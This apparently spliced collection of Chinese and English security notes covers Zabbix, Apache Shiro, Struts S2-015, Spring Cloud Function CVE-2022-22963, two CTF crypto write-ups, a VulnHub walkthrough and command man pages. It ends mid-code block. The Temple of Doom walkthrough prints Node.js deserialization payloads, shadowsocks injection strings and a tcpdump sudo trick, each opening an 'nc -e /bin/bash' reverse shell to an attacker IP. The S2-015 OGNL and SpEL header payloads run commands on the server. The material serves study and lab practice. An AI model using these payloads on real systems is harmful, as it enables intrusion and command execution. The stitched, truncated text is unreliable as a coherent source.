使用 `http://ip/php-reverse-shell.php`设置监听器并访问 shell

查看sudo列表
```
qiu@TORMENT:/$ sudo -l
sudo -l
Matching Defaults entries for qiu on TORMENT:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User qiu may run the following commands on TORMENT:
(ALL) NOPASSWD: /usr/bin/python, /bin/systemctl
qiu@TORMENT:/$
```
|
sec-knowleage
|
# Zabbix未授权访问漏洞
## 漏洞描述
Zabbix存在一个未授权访问漏洞,通过该漏洞,攻击者可以在未经授权的情况下访问Zabbix服务器上的数据,导致敏感信息泄露。
## **影响版本**
Zabbix <= 4.4
## 环境搭建
```
docker run -p 10051:10051 -p 80:80 zabbix/zabbix-appliance:ubuntu-4.0.12
```
## 漏洞利用
访问:http://192.168.32.183/zabbix.php?action=problem.view&ddreset=1

访问:http://192.168.32.183/overview.php?ddreset=1

访问:http://192.168.32.183/latest.php?ddreset=1

还有以下链接可以访问:
- https://TARGET/zabbix/zabbix.php?action=dashboard.view
- https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
- https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
- https://TARGET/zabbix/overview.php?ddreset=1
- https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
- https://TARGET/zabbix/latest.php?ddreset=1
- https://TARGET/zabbix/charts.php?ddreset=1
- https://TARGET/zabbix/screens.php?ddreset=1
- https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
- https://TARGET/zabbix/srv_status.php?ddreset=1
- https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
- https://TARGET/zabbix/hostinventories.php?ddreset=1
- https://TARGET/zabbix/report2.php?ddreset=1
- https://TARGET/zabbix/toptriggers.php?ddreset=1
- https://TARGET/zabbix/zabbix.php?action=dashboard.list
- https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1
|
sec-knowleage
|
# Shiro
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
> 官网 : https://shiro.apache.org/
**简介**
Apache Shiro 是一个功能强大且灵活的开源安全框架,主要功能包括用户认证、授权、会话管理以及加密.
shiro 的漏洞参考 https://issues.apache.org/jira/projects/SHIRO/issues
**相关文章**
- [Apache Shiro回显poc改造计划](https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw)
- [关于Shiro反序列化漏洞的延伸—升级shiro也能被shell](https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw)
- [Shiro 100 Key](https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA)
- [Shiro组件漏洞与攻击链分析](https://mp.weixin.qq.com/s/j_gx9C_xL1LyrnuFFPFsfg)
- [shiro反序列化绕WAF之未知HTTP请求方法](https://mp.weixin.qq.com/s/1BuMtOTGIFdXrNtkUMm82g)
- [Shiro高版本默认密钥的漏洞利用](https://mp.weixin.qq.com/s/Su5VwfynSVx-PEPxSR_6iw)
- [Shiro反序列化漏洞利用笔记](https://www.cnblogs.com/Yang34/p/14122843.html)
- [Shiro权限验证绕过史](https://s31k31.github.io/2020/08/20/Shiro_Authentication_Bypass/)
- [Shiro复现以及一点小思考](https://www.yuque.com/iceqaq/rtn9q7/fvgodk)
**相关工具**
- [sv3nbeast/ShiroScan](https://github.com/sv3nbeast/ShiroScan) - Shiro<=1.2.4 反序列化,一键检测工具
- [wyzxxz/shiro_rce](https://github.com/wyzxxz/shiro_rce) - shiro rce 反序列 命令执行 一键工具
- [bigsizeme/shiro-check](https://github.com/bigsizeme/shiro-check) - Shiro反序列化检查 Burp 插件
- [feihong-cs/ShiroExploit-Deprecated](https://github.com/feihong-cs/ShiroExploit-Deprecated) - Shiro550/Shiro721 一键化利用工具,支持多种回显方式
- [j1anFen/shiro_attack](https://github.com/j1anFen/shiro_attack) - shiro 反序列化漏洞综合利用, 包含(回显执行命令 / 注入内存马)
- [Ares-X/shiro-exploit](https://github.com/Ares-X/shiro-exploit) - Shiro 反序列化利用工具,支持新版本 (AES-GCM)Shiro 的 key 爆破,配合 ysoserial,生成回显 Payload
- [wyzxxz/shiro_rce_tool](https://github.com/wyzxxz/shiro_rce_tool)
- [potats0/shiroPoc](https://github.com/potats0/shiroPoc)
- [SummerSec/ShiroAttack2](https://github.com/SummerSec/ShiroAttack2) - shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)修复原版中NoCC的问题
**指纹**
- `set-Cookie: rememberMe=deleteMe`
---
## 绕过fuzz
- `/;/index`
- `/aaaa/..;/index/1`
- `/admin/%20`
---
## SHIRO-550 & CVE-2016-4437 | Shiro RememberMe 1.2.4 反序列化漏洞
- https://issues.apache.org/jira/projects/SHIRO/issues/SHIRO-550
**描述**
shiro 默认使用了 CookieRememberMeManager, 其处理 cookie 的流程是: 得到 rememberMe 的 cookie 值-->Base64 解码-->AES 解密-->反序列化.然而 AES 的密钥是硬编码的, 就导致了攻击者可以构造恶意数据造成反序列化的 RCE 漏洞。
**影响版本**
- 1.2.4(由于密钥泄露的问题, 部分高于 1.2.4 版本的 Shiro 也会受到影响)
**相关文章**
- [【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞](https://paper.seebug.org/shiro-rememberme-1-2-4/)
**POC | Payload | exp**
- [jas502n/SHIRO-550](https://github.com/jas502n/SHIRO-550)
- [https://vulhub.org/#/environments/shiro/CVE-2016-4437/](https://vulhub.org/#/environments/shiro/CVE-2016-4437/)
- [dr0op/shiro-550-with-NoCC](https://github.com/dr0op/shiro-550-with-NoCC)
---
## SHIRO-682 & CVE-2020-1957 | Shiro 权限绕过漏洞
**描述**
Apache Shiro 是企业常见的 Java 安全框架, 由于 Shiro 的拦截器和 spring(Servlet)拦截器对于 URI 模式匹配的差异, 导致出现鉴权问题。
**相关文章**
- [Shiro 权限绕过漏洞分析(CVE-2020-1957)](https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/)
**修复建议**
1. 升级 1.5.2 版本及以上。
2. 尽量避免使用 * 通配符作为动态路由拦截器的 URL 路径表达式。
---
## SHIRO-721 | Shiro RememberMe Padding Oracle Vulnerability RCE
- https://issues.apache.org/jira/browse/SHIRO-721
**描述**
cookie 的 cookiememeMe 已通过 AES-128-CBC 模式加密,这很容易受到填充 oracle 攻击的影响。
攻击者可以使用有效的 RememberMe cookie 作为 Padding Oracle Attack 的前缀,然后制作精心制作的 RememberMe 来执行 Java 反序列化攻击。
**影响版本**
- 1.2.5 ~ 1.2.6
- 1.3.0 ~ 1.3.2
- 1.4.0-RC2 ~ 1.4.1
**相关文章**
- [Shiro 721 Padding Oracle攻击漏洞分析](https://www.anquanke.com/post/id/193165)
- [Apache Shiro 远程代码执行漏洞复现](http://www.oniont.cn/index.php/archives/298.html)
- [Shiro RCE again(Padding Oracle Attack)](https://www.anquanke.com/post/id/192819)
**POC | Payload | exp**
- [3ndz/Shiro-721](https://github.com/3ndz/Shiro-721)
- [jas502n/SHIRO-721](https://github.com/jas502n/SHIRO-721)
---
## SHIRO-782 & CVE-2020-11989
**相关文章**
- [Apache Shiro权限绕过漏洞分析(CVE-2020-11989)](https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA)
- [Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)](https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/)
- [CVE-2020-11989:Apache Shiro权限绕过复现](https://mp.weixin.qq.com/s/p1UzULYPoTKf6i_Chcj2VQ)
- [记一次Apache Shiro权限绕过实战](http://www.0dayhack.net/index.php/554/)
- [记一次前台任意文件下载漏洞挖掘](https://xz.aliyun.com/t/10328)
---
## CVE-2020-17523
**相关文章**
- [Apache Shiro身份认证绕过漏洞复现(CVE-2020-17523)](https://mp.weixin.qq.com/s/PHBG3wQUIPSrlmX_jsSXbA)
- [jweny/shiro-cve-2020-17523](https://github.com/jweny/shiro-cve-2020-17523)
|
sec-knowleage
|
lpq
===
显示打印队列中的打印任务的状态信息
## 补充说明
**lpq命令** 用于显示打印队列中的打印任务的状态信息。
### 语法
```shell
lpq(选项)
```
### 选项
```shell
-E:强制使用加密方式与服务器连接;
-P:显示中的打印机上的打印队列状态;;
-U:自动可选的用户名;
-a:报告所有打印机的定义任务;
-h:指定打印服务器信息;
-l:使用长格式输出;
+:指定显示状态的间隔时间。
```
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/spring-with-h2database:1.4.200
ports:
- "8080:8080"
|
sec-knowleage
|
# Introduction
这里主要有
- 默认:用户态不可直接访问内核态的数据、执行内核态的代码
- SMEP:内核态不可执行用户态的代码
- SMAP:内核态不可访问用户态的数据
- KPTI:用户态不可看到内核态的页表;内核态不可执行用户态的代码(模拟)
|
sec-knowleage
|
popd
===
从目录堆栈中删除目录。
## 概要
```shell
popd [-n] [+N | -N]
```
## 主要用途
- 从目录堆栈中删除目录,如果是顶部目录被删除,那么当前工作目录会切换到新的顶部目录。
- 没有参数时,删除目录堆栈顶部。
## 选项
```shell
-n 抑制删除目录引起的当前工作目录变化。
```
## 参数
+N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将被删除。(从0开始计数)
-N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将被删除。(从0开始计数)
## 返回值
返回成功除非提供了非法选项或执行出现错误。
## 例子
```shell
# 添加目录到堆栈,当前工作目录不变。
[user2@pc ~]$ dirs
~
[user2@pc ~]$ pushd -n ~/Desktop
~ ~/Desktop
[user2@pc ~]$ pushd -n ~/Pictures
~ ~/Pictures ~/Desktop
[user2@pc ~]$ pushd -n ~/bin
~ ~/bin ~/Pictures ~/Desktop
# 从目录堆栈中删除目录,删除顶部目录时会改变当前工作目录:
[user2@pc ~]$ popd -2
~ ~/Pictures ~/Desktop
[user2@pc ~]$ popd +1
~ ~/Desktop
[user2@pc ~]$ popd
~/Desktop
[user2@pc Desktop]$
```
```shell
# 从目录堆栈中删除目录,删除顶部目录时不会改变当前工作目录:
[user2@pc ~]$ dirs
~
[user2@pc ~]$ pushd -n ~/Desktop
~ ~/Desktop
[user2@pc ~]$ popd -n
~
[user2@pc ~]$
```
### 注意
1. `bash`的目录堆栈命令包括`dirs popd pushd`。
2. 当前目录始终是目录堆栈的顶部。
3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
### 参考链接
- [popd、pushd命令'-n'选项的行为](https://superuser.com/questions/784450/popd-and-pushd-behavior-with-n-option)
|
sec-knowleage
|
# Temple of Doom
> https://download.vulnhub.com/templeofdoom/temple-of-DOOM-v1.ova
靶场IP:`192.168.32.10`
扫描对外端口服务
```
┌──(root㉿kali)-[~]
└─# nmap -sV -p1-65535 192.168.32.10
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-06 23:25 EDT
Nmap scan report for 192.168.32.10
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
666/tcp open http Node.js Express framework
MAC Address: 08:00:27:D1:C1:2D (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds
```
浏览器访问666端口

再次刷新就会报错

使用bp抓取数据包,分析,报错原因是CSRFtoken过期导致报错

把CSRF相关字段删掉重新发送,会提示`helle Admin`。

根据nodejs反序列化漏洞,可以生成payload
> https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
```
{"username":"_$$ND_FUNC$$_function (){return require('child_process').execSync('id',(error, stdout, stderr)=>{ console.log(stdout); }); }()"}
```

构造反弹shell
```
{"username":"_$$ND_FUNC$$_function (){return require('child_process').execSync('nc -e /bin/bash 192.168.32.5 1234', (error, stdout, stderr)=>{ console.log(stdout); }); }()"}
```

查看`/etc/passwd`文件,找到ss-manager
```
fireman:x:1002:1002::/home/fireman:/bin/bash
```
找到exp:https://www.exploit-db.com/exploits/43006
```
nc -u 127.0.0.1 8839
```
```
add: {"server_port":8003, "password":"test", "method":"|| nc 192.168.32.5 5555 -e /bin/bash||"}
```

提权exp
```
COMMAND='nc 192.168.32.5 5001 -e /bin/bash'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
```
可以建立连接


|
sec-knowleage
|
# Delphi (web/crypto)
###ENG
[PL](#pl-version)
The task was in `web` category, but actually there was almost no `web` there, only `crypto`.
We get a web interface in which we can invoke three commands from a select box.
The commands are `netstat`, `ps aux`, and `echo "This is a longer string that I want to use to test multiple-block patterns`.
We notice that all those commands actually point to the same endpoint `execute`, with different parameters, eg `/execute/5d60992b1d3ac1d561f6cb4149d540ed4f6d549c64b9d39babc58c0f29324312`
So we deduce that the command itself probably is somehow encrypted in the hex-string.
Since commands have different lengths we can assume that it is most likely block encryption.
By calculating `gcd` over payload lengths we have we can see that block size can be at most 16 bytes.
If we try to modify the payload we quickly hit `decrypt failure` message.
This seems like a nice setup for oracle padding attack, so we import our oracle padding breaker from crypto-commons are try to run it on the payloads.
If you're interested in how padding oracle works see our other writeup which describes this more in detail: https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/neo
We need to prepare oracle function, which will tell us if the decryption failed (presumably because of incorrect padding after decrypt):
```python
session = requests.Session()
def send(ct):
while True:
try:
url = "http://delphi-status-e606c556.ctf.bsidessf.net/execute/" + ct
result = session.get(url)
content = result.content
return content
except:
time.sleep(1)
def oracle(data):
result = send(data)
if "decrypt" in result:
return False
else:
return True
```
So we simply send the payload and check if there is `decrypt failed` message in the response.
With this in place we can now run:
```python
from crypto_commons.symmetrical.symmetrical import oracle_padding_recovery
def main():
ct = '21573ed27b7d10267caebd178a68434c66bb31eabdd648cd38f6a34d53656b00' # ps aux?
oracle_padding_recovery(ct, oracle, 16, string.printable)
main()
```
And we manage to recover what we expected -> `ps aux` with PKCS padding.
The same goes for `nestat` command, but the most interesting is the last payload because it has more than a single block we can recover.
The last command ends up to be:
`echo "This is a longer string that I want to use to test multiple-block patterns\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f`
Now that we know that we're dealing with CBC encryption, we can use bitflipping to force the payload to decrypt into plaintext of our choosing, at least up to a single block boundary.
The idea behind this attack comes directly from how CBC mode works.
In CBC encryption the plaintext is XORed with previous ciphertext block before encryption.
During decryption the block is first decrypted and then XORed with previous ciphertext block to recover the real plaintext.
This means, however, that if we modify a single byte of ciphertext of previous block, we will change corresponding byte of the decrypted plaintext in the next block!
Keep in mind this will also mess up the decryption of the changed ciphertext block, but this can't be helped.
What we need is to know the ciphertext and corresponding plaintext.
Then we know that `pt[i] = decrypt(ct[k][i]) ^ ct[k-1][i]` and we know all those values.
So now if we XOR `ct[k-1][i]` with `pt[i]` we should always get 0 as result, since `a xor a = 0`.
And now if we XOR this with any value, we will get this value as decryption result!
Fortunately we also have this in crypto-commons so we proceed with:
```python
ct = '2ca638d01882452ec38895c06cd42505e2b5f680cccd0e4ee9c05acf697bc8fa0f33c4e66d69f81e1869606244dbc1f8f2cce8a05447037fb83addb8a9e6da032c1d08a5598422aab67283a1fcf6ca6297970b2a226124505751ed5d425fd8717d2da1ff5cd6a806c85fdb3ad3cbb175' # echo something
pt = (
'?' * 16) + 'echo "This is a longer string that I want to use to test multiple-block patterns\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
ct = set_cbc_payload_for_block(ct.decode("hex"), pt, ';$(cat *.txt) ', 5).encode("hex")
print(ct)
```
This way we modify the decryption results for 5th block of the ciphertext.
4th block will be broken, but since it's just passed to `echo` we don't really care about it much.
So we just modified the ciphertext to decode into `echo ... garbage;$(cat *.txt) ` which invoked in the shell will give us the flag.
And if we now go to the `http://delphi-status-e606c556.ctf.bsidessf.net/execute/2ca638d01882452ec38895c06cd42505e2b5f680cccd0e4ee9c05acf697bc8fa0f33c4e66d69f81e1869606244dbc1f8f2cce8a05447037fb83addb8a9e6da03721442aa579369a0e8678fa1b0a4843197970b2a226124505751ed5d425fd8717d2da1ff5cd6a806c85fdb3ad3cbb175` url with our modified ciphertext we get as expected:
`This is a longer string that I want to use��|��O� |��q)�;FLAG:a1cf81c5e0872a7e0a4aec2e8e9f74c3 `
###PL version
Zadanie co prawda było w kategorii `web` ale w praktyce nie było tam prawie nic z `web` a jedynie z `crypto`.
Dostajemy webowy interfejs z którego można wykonać trzy komendy używając select boxa.
Komendy to `netstat`, `ps aux` oraz `echo "This is a longer string that I want to use to test multiple-block patterns`.
Zauważamy szybko że wszytkie komendy prowadzą do tego samego endpointu `execue` z innym parametrem, np.
`/execute/5d60992b1d3ac1d561f6cb4149d540ed4f6d549c64b9d39babc58c0f29324312`
Zgadujemy, że komenda do wykonania jest zaszyfrowana w tym hex-stringu.
Skoro komendy mają różne długości to domyślamy się że mamy do czynienia z szyfrem blokowym.
Licząc `gcd` z długości znanych payloadów wynika że blok może mieć najwyżej 16 bajtów długości.
Jeśli ręcznie zmodyfikujemy payload to szybko dostajemy komunikat `decrypt failure`.
To sugeruje setup dla ataku oracle padding, więc importujemy nasz łamacz z crypto-commons i próbujemy uruchomić go dla posiadanych szyfrogramów.
Po szczegóły dotyczące ataku padding oracle odsyłamy do innego writeupa który napisalismy kilka tygodni temu: https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/neo#pl-version
Potrzebujemy do tego przygotować samą wyrocznie, która powie nam czy deszyfrowanie się powiodło czy nie (zakładamy że niepowodzenie wynika z niepopranego paddingu po deszyfrowaniu):
```python
session = requests.Session()
def send(ct):
while True:
try:
url = "http://delphi-status-e606c556.ctf.bsidessf.net/execute/" + ct
result = session.get(url)
content = result.content
return content
except:
time.sleep(1)
def oracle(data):
result = send(data)
if "decrypt" in result:
return False
else:
return True
```
Więc po prostu wysyłamy przygotowane dane i sprawdzamy czy w odpowiedzie dostaliśmy wiadomość `decrypt failed`.
Możemy teraz uruchomić:
```python
from crypto_commons.symmetrical.symmetrical import oracle_padding_recovery
def main():
ct = '21573ed27b7d10267caebd178a68434c66bb31eabdd648cd38f6a34d53656b00' # ps aux?
oracle_padding_recovery(ct, oracle, 16, string.printable)
main()
```
I udaje nam się odzyskać oczekiwaną komendę -> `ps aux` z paddingiem PKCS.
Tak samo jest dla payloadu z `netstat` ale najciekawszy jest ostatni szyfrogram, bo pozwala odzyskać więcej niż 1 blok.
Ostatnia komenda to:
`echo "This is a longer string that I want to use to test multiple-block patterns\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f`
Skoro wiemy już że mamy do czynienia z szyfrowaniem w trybie CBC, możemy wykorzystać bitflipping żeby zmodyfikować payload tak, aby deszyfrował się do wybranego przez nas plaintextu, przynajmniej do granicy jednego bloku.
Idea stojąca za tym atakiem wynika bezpośrednio z działania trybu CBC.
W tym trybie plaintext jest XORowwany z ciphertextem w poprzednim bloku przed szyfrowaniem.
Podczas deszyfrowania, po odkodowaniu bloku wynik jest XORowany z ciphertextem poprzedniego bloku w celu odzyskania prawdziwego plaintextu.
To oznacza jednak, że możemy zmodyfikować jeden bajt ciphertextu w poprzednim bloku i tym samym zmienić odpowiadający mu bajt odszyfrowanego plaintextu w kolejnym bloku!
Warto pamiętać, że zniszczymy w ten sposób odszyfrowaną wartość bloku gdzie zmieniamy ciphertext, ale tego nie da się ominąć.
Potrzebujemy znać ciphertext oraz odpowiadający mu plaintext.
Wiemy że `pt[i] = decrypt(ct[k][i]) ^ ct[k-1][i]` i znamy też wszystkie te wartości.
Teraz jeśli XORujemy `ct[k-1][i]` z `pt[i]` powinniśmy zawsze po odszyfrowaniu dostać 0 ponieważ `a xor a = 0`.
A teraz jeśli XORujemy to z dowolną inną wartością to uzyskamy tą wartość w wyniku deszyfrowania!
Szczęśliwie mamy to już zaimplementowane w crypto-commons więc wykonujemy:
```python
ct = '2ca638d01882452ec38895c06cd42505e2b5f680cccd0e4ee9c05acf697bc8fa0f33c4e66d69f81e1869606244dbc1f8f2cce8a05447037fb83addb8a9e6da032c1d08a5598422aab67283a1fcf6ca6297970b2a226124505751ed5d425fd8717d2da1ff5cd6a806c85fdb3ad3cbb175' # echo something
pt = (
'?' * 16) + 'echo "This is a longer string that I want to use to test multiple-block patterns\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
ct = set_cbc_payload_for_block(ct.decode("hex"), pt, ';$(cat *.txt) ', 5).encode("hex")
print(ct)
```
W ten sposób zmieniamy wynik deszyfrowania 5 bloku.
4 blok będzie popsuty, ale jest to input dla `echo` więc nie przejmuejmy się tym specjalnie.
Teraz nasz zmieniony ciphertext powinien zdeszyfrować się do czegoś w postaci `echo ... garbage;$(cat *.txt) ` co wykonane w shellu da nam flagę.
I faktycznie wchodząc pod URL `http://delphi-status-e606c556.ctf.bsidessf.net/execute/2ca638d01882452ec38895c06cd42505e2b5f680cccd0e4ee9c05acf697bc8fa0f33c4e66d69f81e1869606244dbc1f8f2cce8a05447037fb83addb8a9e6da03721442aa579369a0e8678fa1b0a4843197970b2a226124505751ed5d425fd8717d2da1ff5cd6a806c85fdb3ad3cbb175` url ze zmienionym ciphertextem dostajemy:
`This is a longer string that I want to use��|��O� |��q)�;FLAG:a1cf81c5e0872a7e0a4aec2e8e9f74c3 `
|
sec-knowleage
|
# S2-015 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.3.14.2
Details: http://struts.apache.org/docs/s2-015.html
## Setup
```
docker compose build
docker compose up -d
```
## Reference
Struts 2 allows define action mapping base on wildcards, like in example below:
```xml
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
```
If a request doesn't match any other defined action, it will be matched by * and requested action name will be used to load JSP file base on the name of action. And as value of {1} is threaten as an OGNL expression, thus allow to execute arbitrary Java code on server side. This vulnerability is combination of two problems:
1. requested action name isn't escaped or checked agains whitelist
2. double evaluation of an OGNL expression in TextParseUtil.translateVariables when combination of $ and % open chars is used.
## Exploit
Payload as follows:
```
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
```
Result:

In addition to the above situation, S2-015 has another case of code execution:
```xml
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>
```
Result:

|
sec-knowleage
|
# Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)
Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
参考链接:
- <https://tanzu.vmware.com/security/cve-2022-22963>
- <https://mp.weixin.qq.com/s/onYJWIESgLaWS64lCgsKdw>
- <https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f>
## 漏洞环境
执行如下命令启动一个使用Spring Cloud Function 3.2.2编写的服务器:
```
docker compose up -d
```
服务启动后,执行`curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test`即可执行`uppercase`函数,将输入字符串转换成大写。
## 漏洞复现
发送如下数据包,`spring.cloud.function.routing-expression`头中包含的SpEL表达式将会被执行:
```
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
```

可见,`touch /tmp/success`已经成功被执行:

|
sec-knowleage
|
# Fractorization (crypto, 300p, 5 solved)
In the challenge we get [encryption code](enc.py), [encrypted flag](flag.enc), [encrypted private key](priv.der.enc) and [public key](pub.der).
The code is quite short and simple:
1. RSA keypair is generated in some secret way
2. Private RSA key is encrypted via AES-ECB
3. Flag is encrypted using public RSA key
The goal seems clear - we need to somehow recover the private key from the public key and the AES-encrypted version of the private key.
If we look closely at the private key, we can notice a very strange `pattern` at a certain point:
```
96 e7 52 3f 9a 7b 17 0a 19 2f 94 66 17 bd cc 0d
0c 0e 7c 7e c8 a2 4c 4e 6d e3 9c 6d 1b c2 68 30
96 e7 52 3f 9a 7b 17 0a 19 2f 94 66 17 bd cc 0d
0c 0e 7c 7e c8 a2 4c 4e 6d e3 9c 6d 1b c2 68 30
96 e7 52 3f 9a 7b 17 0a 19 2f 94 66 17 bd cc 0d
0c 0e 7c 7e c8 a2 4c 4e 6d e3 9c 6d 1b c2 68 30
96 e7 52 3f 9a 7b 17 0a 19 2f 94 66 17 bd cc 0d
0c 0e 7c 7e c8 a2 4c 4e 6d e3 9c 6d 1b c2 68 30
96 e7 52 3f 9a 7b 17 0a 19 2f 94 66 17 bd cc 0d
0c 0e 7c 7e c8 a2 4c 4e 6d e3 9c 6d 1b c2 68 30
96 e7 52 3f 9a 7b 17 0a 19 2f 94 66 17 bd cc 0d
0c 0e 7c 7e c8 a2 4c 4e 6d e3 9c 6d 1b c2 68 30
96 e7 52 3f 9a 7b 17 0a 19 2f 94 66 17 bd cc 0d
0c 0e 7c 7e c8 a2 4c 4e 6d e3 9c 6d 1b c2 68 30
96 e7 52 3f 9a 7b 17 0a 19 2f 94 66 17 bd cc 0d
```
This is a classic ECB encryption artifact - identical plaintext blocks encrypted into identical ciphertext blocks.
Now if we generate our own key with similar parameters (we can use the same public key and generate primes of the same size), we can notice that this particular piece of data falls into the place where first prime factor should be, plus-minus few bytes in the block before and block after.
This means that the prime factor has to have such repeating pattern spanning over 2 blocks (32 bytes), at leats in the middle.
So the prime has to be something like `X ABCD ABCD ABCD ... Y`.
We could also write this down as `ABCD * 0x10001000... + S` where `S` is the unknown part located in the non-repeating blocks, and `0x10001000...` has far more zeros.
It took us a while to come up with a reasonable solution, because initially we were thinking about looking for roots of bivariate equation with `ABCD` and `S` as our unknowns.
Eventually we came up with a far simpler formulation of the problem:
```
N = p*q
p = k*pattern+S
```
Here `pattern` is just the 0x10000...10000...1` pattern.
Now we can do:
```
N = p*q = (k*pattern+S)*q = k*pattern*q + S*q
N - S*q = k*pattern*q
(N-S*q)/pattern = k*q
```
Now let's introduce a polynomial `f(x) = (N-x)/pattern`.
From the above equation it's clear that for `x0 = S*q` this polynomial reduces to `0 mod q` because it would be a multiple of `q`.
We also know that `q` is a factor of `N`.
However, we can't directly use Coppersmith method here, because `S*q` is actually very big, it's bigger than one of the factors, so at least `N^1/2` and Coppersmith bound for this case would allow for finding roots about `N^1/4`.
But we can go one step further and make an approximation:
```
(N-S*q)/pattern ~= N/pattern - (S*q/pattern)
```
Now we can re-formulate the polynomial to `f(x) = N/pattern - x`, and since we're now looking for `x0 = (S*q/pattern)` the bound for the root is in fact close to `S*k`, which we can hope is small, but at least it's definitely smaller than previously.
We can look at this via a simple sanity check:
```python
p = getPrime(2048)
k = random.randint(2 ** 255, 2 ** 256)
pattern = 0x10000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001
q = gmpy2.next_prime(k * pattern + random.randint(0, 2 ** 256))
S = q - k * pattern
N = p * q
print(math.log(N // pattern - k * p, 2))
```
This shows us that with this setup the root we would be looking for is about 512 bits long.
The solver for this problem is as described above:
```python
def solve(N, pattern):
F.<x> = PolynomialRing(Zmod(N), implementation='NTL')
poly = x - N//pattern
roots = poly.small_roots(beta=0.4, X=2**600)
for root in roots:
val = root - N//pattern
q0 = gcd(N,val)
if q0 > 1:
print(int(root).bit_length())
print('q',q0)
print('p',int(N)//int(q0))
print(hex(int(N)//int(q0)))
return True
```
We can now run another sanity check with this, to verify it works under our assumptions:
```python
def sanity():
def sanity():
mult = random.randint(2**255, 2**256)
mult = 2**255
small = random.randint(0, 2**100)
pattern = 0x10000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001
#big_shift = 2**(2048-8*7)
#big = 0xABCDEFABCDEFAB * big_shift
big = 0
p = next_prime(big + mult * pattern + small)
print(hex(p))
q = random_prime(2**2048)
N = p*q
print(N.nbits())
print(p)
print(q)
solve(N,pattern)
#sanity()
```
The `big` simulates the upper bits we don't know, which are not in the repeating pattern, and `small` lower bits.
Interestingly enough, adding this `big` part could make it unsolvable, since the root would now be very big, but it does still work for some reason.
Anyway, this is not strictly necessary in the task, because the actual root we recovered had 560 bit, so was within the Coppersmith bounds.
There was one more thing to consider - the pattern might be shifted, since the blocks are not perfectly aligned.
We don't really know where is the first `1`, so we check the shifts as well:
```python
